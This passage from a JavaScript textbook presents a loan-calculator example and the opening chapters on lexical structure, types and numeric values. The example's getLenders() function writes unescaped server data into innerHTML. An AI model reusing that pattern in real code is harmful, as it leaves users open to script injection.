- How to get user input from form input elements.
- How to set the HTML content of document elements.
- How to store data in the browser.
- How to make scripted HTTP requests.
- How to draw graphics with the `<canvas>` element.

Example 1-1. A loan calculator in JavaScript

```
<!DOCTYPE html>
<html>
<head>
<title>JavaScript Loan Calculator</title>
<style> /* This is a CSS style sheet: it adds style to the program output */
.output { font-weight: bold; }           /* Calculated values in bold */
#payment { text-decoration: underline; } /* For element with id="payment" */
#graph { border: solid black 1px; }      /* Chart has a simple border */
th, td { vertical-align: top; }          /* Don't center table cells */
</style>
</head>
<body>
<!--
  This is an HTML table with <input> elements that allow the user to enter data
  and <span> elements in which the program can display its results.
  These elements have ids like "interest" and "years". These ids are used
  in the JavaScript code that follows the table. Note that some of the input
  elements define "onchange" or "onclick" event handlers. These specify strings
  of JavaScript code to be executed when the user enters data or clicks.
-->
<table>
  <tr><th>Enter Loan Data:</th>
      <td></td>
      <th>Loan Balance, Cumulative Equity, and Interest Payments</th></tr>
  <tr><td>Amount of the loan ($):</td>
      <td><input id="amount" onchange="calculate();"></td>
      <td rowspan=8>
         <canvas id="graph" width="400" height="250"></canvas></td></tr>
  <tr><td>Annual interest (%):</td>
      <td><input id="apr" onchange="calculate();"></td></tr>
  <tr><td>Repayment period (years):</td>
      <td><input id="years" onchange="calculate();"></td>
  <tr><td>Zipcode (to find lenders):</td>
      <td><input id="zipcode" onchange="calculate();"></td>
  <tr><th>Approximate Payments:</th>
      <td><button onclick="calculate();">Calculate</button></td></tr>
  <tr><td>Monthly payment:</td>
      <td>$<span class="output" id="payment"></span></td></tr>
  <tr><td>Total payment:</td>
      <td>$<span class="output" id="total"></span></td></tr>
```

```
  <tr><td>Total interest:</td>
      <td>$<span class="output" id="totalinterest"></span></td></tr>
  <tr><th>Sponsors:</th><td  colspan=2>
    Apply for your loan with one of these fine lenders:
    <div id="lenders"></div></td></tr>
</table>

<!-- The rest of this example is JavaScript code in the <script> tag below -->
<!-- Normally, this script would go in the document <head> above but it -->
<!-- is easier to understand here, after you've seen its HTML context. -->
<script>
"use strict"; // Use ECMAScript 5 strict mode in browsers that support it

/*
 * This script defines the calculate() function called by the event handlers
 * in HTML above. The function reads values from <input> elements, calculates
 * loan payment information, displays the results in <span> elements. It also
 * saves the user's data, displays links to lenders, and draws a chart.
 */
function calculate() {
    // Look up the input and output elements in the document
    var amount = document.getElementById("amount");
    var apr = document.getElementById("apr");
    var years = document.getElementById("years");
    var zipcode = document.getElementById("zipcode");
    var payment = document.getElementById("payment");
    var total = document.getElementById("total");
    var totalinterest = document.getElementById("totalinterest");

    // Get the user's input from the input elements. Assume it is all valid.
    // Convert interest from a percentage to a decimal, and convert from
    // an annual rate to a monthly rate. Convert payment period in years
    // to the number of monthly payments.
    var principal = parseFloat(amount.value);
    var interest = parseFloat(apr.value) / 100 / 12;
    var payments = parseFloat(years.value) * 12;

    // Now compute the monthly payment figure.
    var x = Math.pow(1 + interest, payments);   // Math.pow() computes powers
    var monthly = (principal*x*interest)/(x-1);

    // If the result is a finite number, the user's input was good and
    // we have meaningful results to display
    if (isFinite(monthly)) {
        // Fill in the output fields, rounding to 2 decimal places
        payment.innerHTML = monthly.toFixed(2);
        total.innerHTML = (monthly * payments).toFixed(2);
        totalinterest.innerHTML = ((monthly*payments)-principal).toFixed(2);

        // Save the user's input so we can restore it the next time they visit
        save(amount.value, apr.value, years.value, zipcode.value);

        // Advertise: find and display local lenders, but ignore network errors
        try {      // Catch any errors that occur within these curly braces
            getLenders(amount.value, apr.value, years.value, zipcode.value);
        }
```


Download from Wow! eBook <www.wowebook.com>

```
        catch(e) { /* And ignore those errors */ }

        // Finally, chart loan balance, and interest and equity payments
        chart(principal, interest, monthly, payments);
    }
    else {
        // Result was Not-a-Number or infinite, which means the input was
        // incomplete or invalid. Clear any previously displayed output.
        payment.innerHTML = "";        // Erase the content of these elements
        total.innerHTML = ""
        totalinterest.innerHTML = "";
        chart();                       // With no arguments, clears the chart
    }
}

// Save the user's input as properties of the localStorage object. Those
// properties will still be there when the user visits in the future
// This storage feature will not work in some browsers (Firefox, e.g.) if you
// run the example from a local file:// URL.  It does work over HTTP, however.
function save(amount, apr, years, zipcode) {
    if (window.localStorage) {  // Only do this if the browser supports it
        localStorage.loan_amount = amount;
        localStorage.loan_apr = apr;
        localStorage.loan_years = years;
        localStorage.loan_zipcode = zipcode;
    }
}

// Automatically attempt to restore input fields when the document first loads.
window.onload = function() {
    // If the browser supports localStorage and we have some stored data
    if (window.localStorage && localStorage.loan_amount) {
        document.getElementById("amount").value = localStorage.loan_amount;
        document.getElementById("apr").value = localStorage.loan_apr;
        document.getElementById("years").value = localStorage.loan_years;
        document.getElementById("zipcode").value = localStorage.loan_zipcode;
    }
};

// Pass the user's input to a server-side script which can (in theory) return
// a list of links to local lenders interested in making loans.  This example
// does not actually include a working implementation of such a lender-finding
// service. But if the service existed, this function would work with it.
function getLenders(amount, apr, years, zipcode) {
    // If the browser does not support the XMLHttpRequest object, do nothing
    if (!window.XMLHttpRequest) return;

    // Find the element to display the list of lenders in
    var ad = document.getElementById("lenders");
    if (!ad) return;                            // Quit if no spot for output
```

```
    // Encode the user's input as query parameters in a URL
    var url = "getLenders.php" +                // Service url plus
        "?amt=" + encodeURIComponent(amount) +  // user data in query string
        "&apr=" + encodeURIComponent(apr) +
        "&yrs=" + encodeURIComponent(years) +
        "&zip=" + encodeURIComponent(zipcode);

    // Fetch the contents of that URL using the XMLHttpRequest object
    var req = new XMLHttpRequest();        // Begin a new request
    req.open("GET", url);                  // An HTTP GET request for the url
    req.send(null);                        // Send the request with no body

    // Before returning, register an event handler function that will be called
    // at some later time when the HTTP server's response arrives. This kind of
    // asynchronous programming is very common in client-side JavaScript.
    req.onreadystatechange = function() {
        if (req.readyState == 4 && req.status == 200) {
            // If we get here, we got a complete valid HTTP response
            var response = req.responseText;     // HTTP response as a string
            var lenders = JSON.parse(response);  // Parse it to a JS array

            // Convert the array of lender objects to a string of HTML
            var list = "";
            for(var i = 0; i < lenders.length; i++) {
                list += "<li><a href='" + lenders[i].url + "'>" +
                    lenders[i].name + "</a>";
            }

            // Display the HTML in the element from above.
            ad.innerHTML = "<ul>" + list + "</ul>";
        }
    }
}

// Chart monthly loan balance, interest and equity in an HTML <canvas> element.
// If called with no arguments then just erase any previously drawn chart.
function chart(principal, interest, monthly, payments) {
    var graph = document.getElementById("graph"); // Get the <canvas> tag
    graph.width = graph.width;  // Magic to clear and reset the canvas element

    // If we're called with no arguments, or if this browser does not support
    // graphics in a <canvas> element, then just return now.
    if (arguments.length == 0 || !graph.getContext) return;

    // Get the "context" object for the <canvas> that defines the drawing API
    var g = graph.getContext("2d"); // All drawing is done with this object
    var width = graph.width, height = graph.height; // Get canvas size

    // These functions convert payment numbers and dollar amounts to pixels
    function paymentToX(n) { return n * width/payments; }
    function amountToY(a) { return height-(a * height/(monthly*payments*1.05));}

    // Payments are a straight line from (0,0) to (payments, monthly*payments)
    g.moveTo(paymentToX(0), amountToY(0));         // Start at lower left
    g.lineTo(paymentToX(payments),                 // Draw to upper right
             amountToY(monthly*payments));
```

```
g.lineTo(paymentToX(payments), amountToY(0));  // Down to lower right
g.closePath();                                 // And back to start
g.fillStyle = "#f88";                          // Light red
g.fill();                                      // Fill the triangle
g.font = "bold 12px sans-serif";               // Define a font
g.fillText("Total Interest Payments", 20,20);  // Draw text in legend

// Cumulative equity is non-linear and trickier to chart
var equity = 0;
g.beginPath();                                 // Begin a new shape
g.moveTo(paymentToX(0), amountToY(0));         // starting at lower-left
for(var p = 1; p <= payments; p++) {
    // For each payment, figure out how much is interest
    var thisMonthsInterest = (principal-equity)*interest;
    equity += (monthly - thisMonthsInterest);  // The rest goes to equity
    g.lineTo(paymentToX(p),amountToY(equity)); // Line to this point
}
g.lineTo(paymentToX(payments), amountToY(0));  // Line back to X axis
g.closePath();                                 // And back to start point
g.fillStyle = "green";                         // Now use green paint
g.fill();                                      // And fill area under curve
g.fillText("Total Equity", 20,35);             // Label it in green

// Loop again, as above, but chart loan balance as a thick black line
var bal = principal;
g.beginPath();
g.moveTo(paymentToX(0),amountToY(bal));
for(var p = 1; p <= payments; p++) {
    var thisMonthsInterest = bal*interest;
    bal -= (monthly - thisMonthsInterest);     // The rest goes to equity
    g.lineTo(paymentToX(p),amountToY(bal));    // Draw line to this point
}
g.lineWidth = 3;                               // Use a thick line
g.stroke();                                    // Draw the balance curve
g.fillStyle = "black";                         // Switch to black text
g.fillText("Loan Balance", 20,50);             // Legend entry

// Now make yearly tick marks and year numbers on X axis
g.textAlign="center";                          // Center text over ticks
var y = amountToY(0);                          // Y coordinate of X axis
for(var year=1; year*12 <= payments; year++) { // For each year
    var x = paymentToX(year*12);               // Compute tick position
    g.fillRect(x-0.5,y-3,1,3);                 // Draw the tick
    if (year == 1) g.fillText("Year", x, y-5); // Label the axis
    if (year % 5 == 0 && year*12 !== payments) // Number every 5 years
        g.fillText(String(year), x, y-5);
}

// Mark payment amounts along the right edge
g.textAlign = "right";                         // Right-justify text
g.textBaseline = "middle";                     // Center it vertically
var ticks = [monthly*payments, principal];     // The two points we'll mark
var rightEdge = paymentToX(payments);          // X coordinate of Y axis
for(var i = 0; i < ticks.length; i++) {        // For each of the 2 points
    var y = amountToY(ticks[i]);               // Compute Y position of tick
```

```
        g.fillRect(rightEdge-3, y-0.5, 3,1);       // Draw the tick mark
        g.fillText(String(ticks[i].toFixed(0)),    // And label it.
                   rightEdge-5, y);
    }
}
</script>
</body>
</html>
```

PART I

Core JavaScript

This part of the book, Chapters 2 though 12, documents the core JavaScript language and is meant to be a JavaScript language reference. After you read through it once to learn the language, you may find yourself referring back to it to refresh your memory about some of the trickier points of JavaScript.

Chapter 2, *Lexical Structure*
Chapter 3, *Types, Values, and Variables*
Chapter 4, *Expressions and Operators*
Chapter 5, *Statements*
Chapter 6, *Objects*
Chapter 7, *Arrays*
Chapter 8, *Functions*
Chapter 9, *Classes and Modules*
Chapter 10, *Pattern Matching with Regular Expressions*
Chapter 11, *JavaScript Subsets and Extensions*
Chapter 12, *Server-Side JavaScript*

CHAPTER 2

Lexical Structure

The lexical structure of a programming language is the set of elementary rules that specifies how you write programs in that language. It is the lowest-level syntax of a language; it specifies such things as what variable names look like, the delimiter characters for comments, and how one program statement is separated from the next. This short chapter documents the lexical structure of JavaScript.

2.1 Character Set

JavaScript programs are written using the Unicode character set. Unicode is a superset of ASCII and Latin-1 and supports virtually every written language currently used on the planet. ECMAScript 3 requires JavaScript implementations to support Unicode version 2.1 or later, and ECMAScript 5 requires implementations to support Unicode 3 or later. See the sidebar in §3.2 for more about Unicode and JavaScript.

2.1.1 Case Sensitivity

JavaScript is a case-sensitive language. This means that language keywords, variables, function names, and other *identifiers* must always be typed with a consistent capitalization of letters. The `while` keyword, for example, must be typed "while," not "While" or "WHILE." Similarly, `online`, `Online`, `OnLine`, and `ONLINE` are four distinct variable names.

Note, however, that HTML is not case-sensitive (although XHTML is). Because of its close association with client-side JavaScript, this difference can be confusing. Many client-side JavaScript objects and properties have the same names as the HTML tags and attributes they represent. While these tags and attribute names can be typed in any case in HTML, in JavaScript they typically must be all lowercase. For example, the HTML `onclick` event handler attribute is sometimes specified as `onClick` in HTML, but it must be specified as `onclick` in JavaScript code (or in XHTML documents).

2.1.2 Whitespace, Line Breaks, and Format Control Characters

JavaScript ignores spaces that appear between tokens in programs. For the most part, JavaScript also ignores line breaks (but see §2.5 for an exception). Because you can use spaces and newlines freely in your programs, you can format and indent your programs in a neat and consistent way that makes the code easy to read and understand.

In addition to the regular space character (`\u0020`), JavaScript also recognizes the following characters as whitespace: tab (`\u0009`), vertical tab (`\u000B`), form feed (`\u000C`), nonbreaking space (`\u00A0`), byte order mark (`\uFEFF`), and any character in Unicode category Zs. JavaScript recognizes the following characters as line terminators: line feed (`\u000A`), carriage return (`\u000D`), line separator (`\u2028`), and paragraph separator (`\u2029`). A carriage return, line feed sequence is treated as a single line terminator.

Unicode format control characters (category Cf), such as RIGHT-TO-LEFT MARK (`\u200F`) and LEFT-TO-RIGHT MARK (`\u200E`), control the visual presentation of the text they occur in. They are important for the proper display of some non-English languages and are allowed in JavaScript comments, string literals, and regular expression literals, but not in the identifiers (e.g., variable names) of a JavaScript program. As a special case, ZERO WIDTH JOINER (`\u200D`) and ZERO WIDTH NON-JOINER (`\u200C`) are allowed in identifiers, but not as the first character. As noted above, the byte order mark format control character (`\uFEFF`) is treated as a space character.

2.1.3 Unicode Escape Sequences

Some computer hardware and software can not display or input the full set of Unicode characters. To support programmers using this older technology, JavaScript defines special sequences of six ASCII characters to represent any 16-bit Unicode codepoint. These Unicode escapes begin with the characters `\u` and are followed by exactly four hexadecimal digits (using uppercase or lowercase letters A–F). Unicode escapes may appear in JavaScript string literals, regular expression literals, and in identifiers (but not in language keywords). The Unicode escape for the character é, for example, is `\u00E9`, and the following two JavaScript strings are identical:

```
"café" === "caf\u00e9"   // => true
```

Unicode escapes may also appear in comments, but since comments are ignored, they are treated as ASCII characters in that context and not interpreted as Unicode.

2.1.4 Normalization

Unicode allows more than one way of encoding the same character. The string "é", for example, can be encoded as the single Unicode character `\u00E9` or as a regular ASCII e followed by the acute accent combining mark `\u0301`. These two encodings may look exactly the same when displayed by a text editor, but they have different binary encodings and are considered different by the computer. The Unicode standard defines the preferred encoding for all characters and specifies a normalization procedure to

convert text to a canonical form suitable for comparisons. JavaScript assumes that the source code it is interpreting has already been normalized and makes no attempt to normalize identifiers, strings, or regular expressions itself.

2.2 Comments

JavaScript supports two styles of comments. Any text between a `//` and the end of a line is treated as a comment and is ignored by JavaScript. Any text between the characters `/*` and `*/` is also treated as a comment; these comments may span multiple lines but may not be nested. The following lines of code are all legal JavaScript comments:

```
// This is a single-line comment.
/* This is also a comment */  // and here is another comment.
/*
 * This is yet another comment.
 * It has multiple lines.
 */
```

2.3 Literals

A *literal* is a data value that appears directly in a program. The following are all literals:

```
12              // The number twelve
1.2             // The number one point two
"hello world"   // A string of text
'Hi'            // Another string
true            // A Boolean value
false           // The other Boolean value
/javascript/gi  // A "regular expression" literal (for pattern matching)
null            // Absence of an object
```

Complete details on numeric and string literals appear in Chapter 3. Regular expression literals are covered in Chapter 10. More complex expressions (see §4.2) can serve as array and object literals. For example:

```
{ x:1, y:2 }    // An object initializer
[1,2,3,4,5]     // An array initializer
```

2.4 Identifiers and Reserved Words

An *identifier* is simply a name. In JavaScript, identifiers are used to name variables and functions and to provide labels for certain loops in JavaScript code. A JavaScript identifier must begin with a letter, an underscore (_), or a dollar sign ($). Subsequent characters can be letters, digits, underscores, or dollar signs. (Digits are not allowed as the first character so that JavaScript can easily distinguish identifiers from numbers.) These are all legal identifiers:

```
i
my_variable_name
v13
```

```
_dummy
$str
```

For portability and ease of editing, it is common to use only ASCII letters and digits in identifiers. Note, however, that JavaScript allows identifiers to contain letters and digits from the entire Unicode character set. (Technically, the ECMAScript standard also allows Unicode characters from the obscure categories Mn, Mc, and Pc to appear in identifiers after the first character.) This allows programmers to use variable names from non-English languages and also to use mathematical symbols:

```
var sí = true;
var π = 3.14;
```

Like any language, JavaScript reserves certain identifiers for use by the language itself. These "reserved words" cannot be used as regular identifiers. They are listed below.

2.4.1 Reserved Words

JavaScript reserves a number of identifiers as the keywords of the language itself. You cannot use these words as identifiers in your programs:

```
break       delete      function    return      typeof
case        do          if          switch      var
catch       else        in          this        void
continue    false       instanceof  throw       while
debugger    finally     new         true        with
default     for         null        try
```

JavaScript also reserves certain keywords that are not currently used by the language but which might be used in future versions. ECMAScript 5 reserves the following words:

```
class    const    enum    export    extends    import    super
```

In addition, the following words, which are legal in ordinary JavaScript code, are reserved in strict mode:

```
implements    let         private     public      yield
interface     package     protected   static
```

Strict mode also imposes restrictions on the use of the following identifiers. They are not fully reserved, but they are not allowed as variable, function, or parameter names:

```
arguments    eval
```

ECMAScript 3 reserved all the keywords of the Java language, and although this has been relaxed in ECMAScript 5, you should still avoid all of these identifiers if you plan to run your code under an ECMAScript 3 implementation of JavaScript:

```
abstract    double      goto        native      static
boolean     enum        implements  package     super
byte        export      import      private     synchronized
char        extends     int         protected   throws
class       final       interface   public      transient
const       float       long        short       volatile
```

JavaScript predefines a number of global variables and functions, and you should avoid using their names for your own variables and functions:

```
arguments           encodeURI           Infinity  Number          RegExp
Array               encodeURIComponent  isFinite  Object          String
Boolean             Error               isNaN     parseFloat      SyntaxError
Date                eval                JSON      parseInt        TypeError
decodeURI           EvalError           Math      RangeError      undefined
decodeURIComponent  Function            NaN       ReferenceError  URIError
```

Keep in mind that JavaScript implementations may define other global variables and functions, and each specific JavaScript embedding (client-side, server-side, etc.) will have its own list of global properties. See the Window object in Part IV for a list of the global variables and functions defined by client-side JavaScript.

2.5 Optional Semicolons

Like many programming languages, JavaScript uses the semicolon (`;`) to separate statements (see Chapter 5) from each other. This is important to make the meaning of your code clear: without a separator, the end of one statement might appear to be the beginning of the next, or vice versa. In JavaScript, you can usually omit the semicolon between two statements if those statements are written on separate lines. (You can also omit a semicolon at the end of a program or if the next token in the program is a closing curly brace `}`.) Many JavaScript programmers (and the code in this book) use semicolons to explicitly mark the ends of statements, even where they are not required. Another style is to omit semicolons whenever possible, using them only in the few situations that require them. Whichever style you choose, there are a few details you should understand about optional semicolons in JavaScript.

Consider the following code. Since the two statements appear on separate lines, the first semicolon could be omitted:

```
a = 3;
b = 4;
```

Written as follows, however, the first semicolon is required:

```
a = 3; b = 4;
```

Note that JavaScript does not treat every line break as a semicolon: it usually treats line breaks as semicolons only if it can't parse the code without the semicolons. More formally (and with two exceptions described below), JavaScript treats a line break as a semicolon if the next nonspace character cannot be interpreted as a continuation of the current statement. Consider the following code:

```
var a
a
=
3
console.log(a)
```

JavaScript interprets this code like this:

```
var a; a = 3; console.log(a);
```

JavaScript does treat the first line break as a semicolon because it cannot parse the code `var a a` without a semicolon. The second `a` could stand alone as the statement `a;`, but JavaScript does not treat the second line break as a semicolon because it can continue parsing the longer statement `a = 3;`.

These statement termination rules lead to some surprising cases. This code looks like two separate statements separated with a newline:

```
var y = x + f
(a+b).toString()
```

But the parentheses on the second line of code can be interpreted as a function invocation of `f` from the first line, and JavaScript interprets the code like this:

```
var y = x + f(a+b).toString();
```

More likely than not, this is not the interpretation intended by the author of the code. In order to work as two separate statements, an explicit semicolon is required in this case.

In general, if a statement begins with `(`, `[`, `/`, `+`, or `-`, there is a chance that it could be interpreted as a continuation of the statement before. Statements beginning with `/`, `+`, and `-` are quite rare in practice, but statements beginning with `(` and `[` are not uncommon at all, at least in some styles of JavaScript programming. Some programmers like to put a defensive semicolon at the beginning of any such statement so that it will continue to work correctly even if the statement before it is modified and a previously terminating semicolon removed:

```
var x = 0                        // Semicolon omitted here
;[x,x+1,x+2].forEach(console.log) // Defensive ; keeps this statement separate
```

There are two exceptions to the general rule that JavaScript interprets line breaks as semicolons when it cannot parse the second line as a continuation of the statement on the first line. The first exception involves the `return`, `break`, and `continue` statements (see Chapter 5). These statements often stand alone, but they are sometimes followed by an identifier or expression. If a line break appears after any of these words (before any other tokens), JavaScript will always interpret that line break as a semicolon. For example, if you write:

```
return
true;
```

JavaScript assumes you meant:

```
return; true;
```

However, you probably meant:

```
return true;
```

What this means is that you must not insert a line break between `return`, `break` or `continue` and the expression that follows the keyword. If you do insert a line break, your code is likely to fail in a nonobvious way that is difficult to debug.

The second exception involves the `++` and `--` operators (§4.8). These operators can be prefix operators that appear before an expression or postfix operators that appear after an expression. If you want to use either of these operators as postfix operators, they must appear on the same line as the expression they apply to. Otherwise, the line break will be treated as a semicolon, and the `++` or `--` will be parsed as a prefix operator applied to the code that follows. Consider this code, for example:

```
x
++
y
```

It is parsed as `x; ++y;`, not as `x++; y`.

CHAPTER 3

Types, Values, and Variables

Computer programs work by manipulating *values*, such as the number 3.14 or the text "Hello World." The kinds of values that can be represented and manipulated in a programming language are known as *types*, and one of the most fundamental characteristics of a programming language is the set of types it supports. When a program needs to retain a value for future use, it assigns the value to (or "stores" the value in) a *variable*. A variable defines a symbolic name for a value and allows the value to be referred to by name. The way that variables work is another fundamental characteristic of any programming language. This chapter explains types, values, and variables in JavaScript. These introductory paragraphs provide an overview, and you may find it helpful to refer to §1.1 while you read them. The sections that follow cover these topics in depth.

JavaScript types can be divided into two categories: *primitive types* and *object types*. JavaScript's primitive types include numbers, strings of text (known as *strings*), and Boolean truth values (known as *booleans*). A significant portion of this chapter is dedicated to a detailed explanation of the numeric (§3.1) and string (§3.2) types in JavaScript. Booleans are covered in §3.3.

The special JavaScript values `null` and `undefined` are primitive values, but they are not numbers, strings, or booleans. Each value is typically considered to be the sole member of its own special type. §3.4 has more about `null` and `undefined`.

Any JavaScript value that is not a number, a string, a boolean, or `null` or `undefined` is an object. An object (that is, a member of the type *object*) is a collection of *properties* where each property has a name and a value (either a primitive value, such as a number or string, or an object). One very special object, the *global object*, is covered in §3.5, but more general and more detailed coverage of objects is in Chapter 6.

An ordinary JavaScript object is an unordered collection of named values. The language also defines a special kind of object, known as an *array*, that represents an ordered collection of numbered values. The JavaScript language includes special syntax for working with arrays, and arrays have some special behavior that distinguishes them from ordinary objects. Arrays are the subject of Chapter 7.

JavaScript defines another special kind of object, known as a *function*. A function is an object that has executable code associated with it. A function may be *invoked* to run that executable code and return a computed value. Like arrays, functions behave differently from other kinds of objects, and JavaScript defines a special language syntax for working with them. The most important thing about functions in JavaScript is that they are true values and that JavaScript programs can treat them like regular objects. Functions are covered in Chapter 8.

Functions that are written to be used (with the `new` operator) to initialize a newly created object are known as *constructors*. Each constructor defines a *class* of objects—the set of objects initialized by that constructor. Classes can be thought of as subtypes of the object type. In addition to the Array and Function classes, core JavaScript defines three other useful classes. The Date class defines objects that represent dates. The RegExp class defines objects that represent regular expressions (a powerful pattern-matching tool described in Chapter 10). And the Error class defines objects that represent syntax and runtime errors that can occur in a JavaScript program. You can define your own classes of objects by defining appropriate constructor functions. This is explained in Chapter 9.

The JavaScript interpreter performs automatic *garbage collection* for memory management. This means that a program can create objects as needed, and the programmer never needs to worry about destruction or deallocation of those objects. When an object is no longer reachable—when a program no longer has any way to refer to it—the interpreter knows it can never be used again and automatically reclaims the memory it was occupying.

JavaScript is an object-oriented language. Loosely, this means that rather than having globally defined functions to operate on values of various types, the types themselves define *methods* for working with values. To sort the elements of an array `a`, for example, we don't pass `a` to a `sort()` function. Instead, we invoke the `sort()` method of `a`:

```
a.sort();       // The object-oriented version of sort(a).
```

Method definition is covered in Chapter 9. Technically, it is only JavaScript objects that have methods. But numbers, strings, and boolean values behave as if they had methods (§3.6 explains how this works). In JavaScript, `null` and `undefined` are the only values that methods cannot be invoked on.

JavaScript's types can be divided into primitive types and object types. And they can be divided into types with methods and types without. They can also be categorized as *mutable* and *immutable* types. A value of a mutable type can change. Objects and arrays are mutable: a JavaScript program can change the values of object properties and array elements. Numbers, booleans, `null`, and `undefined` are immutable—it doesn't even make sense to talk about changing the value of a number, for example. Strings can be thought of as arrays of characters, and you might expect them to be mutable. In JavaScript, however, strings are immutable: you can access the text at any index of a string,

but JavaScript provides no way to alter the text of an existing string. The differences between mutable and immutable values are explored further in §3.7.

JavaScript converts values liberally from one type to another. If a program expects a string, for example, and you give it a number, it will automatically convert the number to a string for you. If you use a nonboolean value where a boolean is expected, JavaScript will convert accordingly. The rules for value conversion are explained in §3.8. JavaScript's liberal value conversion rules affect its definition of equality, and the `==` equality operator performs type conversions as described in §3.8.1.

JavaScript variables are *untyped*: you can assign a value of any type to a variable, and you can later assign a value of a different type to the same variable. Variables are *declared* with the `var` keyword. JavaScript uses *lexical scoping*. Variables declared outside of a function are *global variables* and are visible everywhere in a JavaScript program. Variables declared inside a function have *function scope* and are visible only to code that appears inside that function. Variable declaration and scope are covered in §3.9 and §3.10.

3.1 Numbers

Unlike many languages, JavaScript does not make a distinction between integer values and floating-point values. All numbers in JavaScript are represented as floating-point values. JavaScript represents numbers using the 64-bit floating-point format defined by the IEEE 754 standard,[1] which means it can represent numbers as large as $\pm 1.7976931348623157 \times 10^{308}$ and as small as $\pm 5 \times 10^{-324}$.

The JavaScript number format allows you to exactly represent all integers between -9007199254740992 (-2^{53}) and 9007199254740992 (2^{53}), inclusive. If you use integer values larger than this, you may lose precision in the trailing digits. Note, however, that certain operations in JavaScript (such as array indexing and the bitwise operators described in Chapter 4) are performed with 32-bit integers.

When a number appears directly in a JavaScript program, it's called a *numeric literal*. JavaScript supports numeric literals in several formats, as described in the following sections. Note that any numeric literal can be preceded by a minus sign (-) to make the number negative. Technically, however, - is the unary negation operator (see Chapter 4) and is not part of the numeric literal syntax.

1. This format should be familiar to Java programmers as the format of the `double` type. It is also the `double` format used in almost all modern implementations of C and C++.

3.1.1 Integer Literals

In a JavaScript program, a base-10 integer is written as a sequence of digits. For example:

```
0
3
10000000
```

In addition to base-10 integer literals, JavaScript recognizes hexadecimal (base-16) values. A hexadecimal literal begins with "0x" or "0X", followed by a string of hexadecimal digits. A hexadecimal digit is one of the digits 0 through 9 or the letters a (or A) through f (or F), which represent values 10 through 15. Here are examples of hexadecimal integer literals:

```
0xff  // 15*16 + 15 = 255 (base 10)
0xCAFE911
```

Although the ECMAScript standard does not support them, some implementations of JavaScript allow you to specify integer literals in octal (base-8) format. An octal literal begins with the digit 0 and is followed by a sequence of digits, each between 0 and 7. For example:

```
0377  // 3*64 + 7*8 + 7 = 255 (base 10)
```

Since some implementations support octal literals and some do not, you should never write an integer literal with a leading zero; you cannot know in this case whether an implementation will interpret it as an octal or decimal value. In the strict mode of ECMAScript 5 (§5.7.3), octal literals are explicitly forbidden.

3.1.2 Floating-Point Literals

Floating-point literals can have a decimal point; they use the traditional syntax for real numbers. A real value is represented as the integral part of the number, followed by a decimal point and the fractional part of the number.

Floating-point literals may also be represented using exponential notation: a real number followed by the letter e (or E), followed by an optional plus or minus sign, followed by an integer exponent. This notation represents the real number multiplied by 10 to the power of the exponent.

More succinctly, the syntax is:

```
[digits][.digits][(E|e)[(+|-)]digits]
```

For example:

```
3.14
2345.789
.333333333333333333
6.02e23        // 6.02 × 10^23
1.4738223E-32  // 1.4738223 × 10^-32
```

3.1.3 Arithmetic in JavaScript

JavaScript programs work with numbers using the arithmetic operators that the language provides. These include `+` for addition, `-` for subtraction, `*` for multiplication, `/` for division, and `%` for modulo (remainder after division). Full details on these and other operators can be found in Chapter 4.

In addition to these basic arithmetic operators, JavaScript supports more complex mathematical operations through a set of functions and constants defined as properties of the `Math` object:

```
Math.pow(2,53)          // => 9007199254740992: 2 to the power 53
Math.round(.6)          // => 1.0: round to the nearest integer
Math.ceil(.6)           // => 1.0: round up to an integer
Math.floor(.6)          // => 0.0: round down to an integer
Math.abs(-5)            // => 5: absolute value
Math.max(x,y,z)         // Return the largest argument
Math.min(x,y,z)         // Return the smallest argument
Math.random()           // Pseudo-random number x where 0 <= x < 1.0
Math.PI                 // π: circumference of a circle / diameter
Math.E                  // e: The base of the natural logarithm
Math.sqrt(3)            // The square root of 3
Math.pow(3, 1/3)        // The cube root of 3
Math.sin(0)             // Trigonometry: also Math.cos, Math.atan, etc.
Math.log(10)            // Natural logarithm of 10
Math.log(100)/Math.LN10 // Base 10 logarithm of 100
Math.log(512)/Math.LN2  // Base 2 logarithm of 512
Math.exp(3)             // Math.E cubed
```

See the Math object in the reference section for complete details on all the mathematical functions supported by JavaScript.

Arithmetic in JavaScript does not raise errors in cases of overflow, underflow, or division by zero. When the result of a numeric operation is larger than the largest representable number (overflow), the result is a special infinity value, which JavaScript prints as `Infinity`. Similarly, when a negative value becomes larger than the largest representable negative number, the result is negative infinity, printed as `-Infinity`. The infinite values behave as you would expect: adding, subtracting, multiplying, or dividing them by anything results in an infinite value (possibly with the sign reversed).

Underflow occurs when the result of a numeric operation is closer to zero than the smallest representable number. In this case, JavaScript returns 0. If underflow occurs from a negative number, JavaScript returns a special value known as "negative zero." This value is almost completely indistinguishable from regular zero and JavaScript programmers rarely need to detect it.

Division by zero is not an error in JavaScript: it simply returns infinity or negative infinity. There is one exception, however: zero divided by zero does not have a well-defined value, and the result of this operation is the special not-a-number value, printed as `NaN`. `NaN` also arises if you attempt to divide infinity by infinity, or take the square

root of a negative number or use arithmetic operators with non-numeric operands that cannot be converted to numbers.

JavaScript predefines global variables `Infinity` and `NaN` to hold the positive infinity and not-a-number value. In ECMAScript 3, these are read/write values and can be changed. ECMAScript 5 corrects this and makes the values read-only. The `Number` object defines alternatives that are read-only even in ECMAScript 3. Here are some examples:

```
Infinity                    // A read/write variable initialized to Infinity.
Number.POSITIVE_INFINITY    // Same value, read-only.
1/0                         // This is also the same value.
Number.MAX_VALUE + 1        // This also evaluates to Infinity.

Number.NEGATIVE_INFINITY    // These expressions are negative infinity.
-Infinity
-1/0
-Number.MAX_VALUE - 1

NaN                         // A read/write variable initialized to NaN.
Number.NaN                  // A read-only property holding the same value.
0/0                         // Evaluates to NaN.

Number.MIN_VALUE/2          // Underflow: evaluates to 0
-Number.MIN_VALUE/2         // Negative zero
-1/Infinity                 // Also negative 0
-0
```

The not-a-number value has one unusual feature in JavaScript: it does not compare equal to any other value, including itself. This means that you can't write `x == NaN` to determine whether the value of a variable `x` is `NaN`. Instead, you should write `x != x`. That expression will be true if, and only if, x is `NaN`. The function `isNaN()` is similar. It returns `true` if its argument is `NaN`, or if that argument is a non-numeric value such as a string or an object. The related function `isFinite()` returns `true` if its argument is a number other than `NaN`, `Infinity`, or `-Infinity`.

The negative zero value is also somewhat unusual. It compares equal (even using JavaScript's strict equality test) to positive zero, which means that the two values are almost indistinguishable, except when used as a divisor:

```
var zero = 0;         // Regular zero
var negz = -0;        // Negative zero
zero === negz         // => true: zero and negative zero are equal
1/zero === 1/negz     // => false: infinity and -infinity are not equal
```

